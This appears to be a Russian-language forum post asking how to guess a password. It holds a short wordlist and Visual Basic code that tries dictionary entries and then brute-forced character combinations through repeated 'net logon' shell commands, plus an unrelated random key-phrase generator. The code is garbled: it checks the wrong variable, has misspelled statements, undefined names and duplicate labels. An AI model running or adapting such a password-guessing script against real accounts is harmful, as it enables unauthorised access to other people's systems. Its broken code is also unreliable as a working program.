
arbuz
barsik
bazik
basic
maso
Public Sub SolvPass(NetUser as string)
dim tmp as string
dim tmp2 as string
shell "net logoff"
MsgBox "Solving Started!"
open "slovar.txt" fo input as #1
do
line input #1, tmp
shell "net logon " + NetUser + " " + tmp + " > out.dat"
open "out.dat" for input as #2
line input #2, tmp2
if tmp="логгед сусефули :)" then
msgbox "Password solved!!!"+vbnewline+"Password: "+tmp
goto nxt
end if
loop while not eof(1)
msgbox "Password not solved"
nxt:
close
const Alfavit = "абвгд....АБВГД.....123456...._+/-=\*"
const PassLen = 6
dim bkvs() as byte
redim bkvs(6)
shell "net logoff"
do
doevents
tmpwd$ = ""
for i=1 to PassLen
tmpwd$ = tmpwd$ + chr$(bkvs(i))
next
shell "net logon " + NetUser +" "+ tmpwd$+" > out.dat"
open "out.dat" for input as #2
line input #2, tmp2
if tmp="логгед сусефули :)" then
msgbox "Password solved!!!"+vbnewline+"Password: "+tmp
goto nxt
end if
dim ns as integer
ns=passlen
do
doevents
bkvs(ns)=bkvs(ns)+1
if bkvs(ns)=len(alfav)+1 then
if ns=1 and bkvs(ns)= len(alfav)+1 then goto nsolv
bkvs(ns)=0: ns=ns-1
else
goto nxt2
end if
loop
nxt2:
loop
nsolv:
msgbox "Password not solved"
nxt:
close
Private Declare Function GetTickCount Lib "kernel32" () As Long
Private Declare Function IsCharAlpha Lib "user32.dll" Alias "IsCharAlphaW" (ByVal cChar As Byte) As Long
Private Declare Function IsCharAlphaNumeric Lib "user32.dll" Alias "IsCharAlphaNumericW" (ByVal cChar As Byte) As Long
Private Declare Function GetWindowLong Lib "user32.dll" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long
Private Declare Function SetWindowLong Lib "user32.dll" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Const ES_NUMBER As Long = &H2000&
Private Const GWL_STYLE As Long = -16
Function GenerateKeyPhrase(Optional ByVal PhraseLength As Long) As String
Dim res As String, i As Long, C As Byte, S As String, N As Long
Randomize
S = Choose(1 + Fix(Rnd * 3), Text4.Text, Text4.Text, Text4.Text)
For i = 1 To Text2.Text
C = 1 + Fix(Rnd * Len(S))
N = N + 1
If N >= Rnd * 10 And N > 1 Then
N = 0
Randomize
S = IIf(Rnd > 0.5, Text4.Text, Text4.Text) & IIf(Rnd < 0.25, Text4.Text, vbNullString)
End If
If N = 1 Then
res = res & UCase$(Mid$(S, C, 1))
Else
res = res & LCase$(Mid$(S, C, 1))
End If
Next i
GenerateKeyPhrase = res
End Function
Допустим нам известен пароль, предположим это "basic". Как нам этот пароль сгенирировать, т.е подобрать
Сейчас этот форум просматривают: нет зарегистрированных пользователей и гости: 19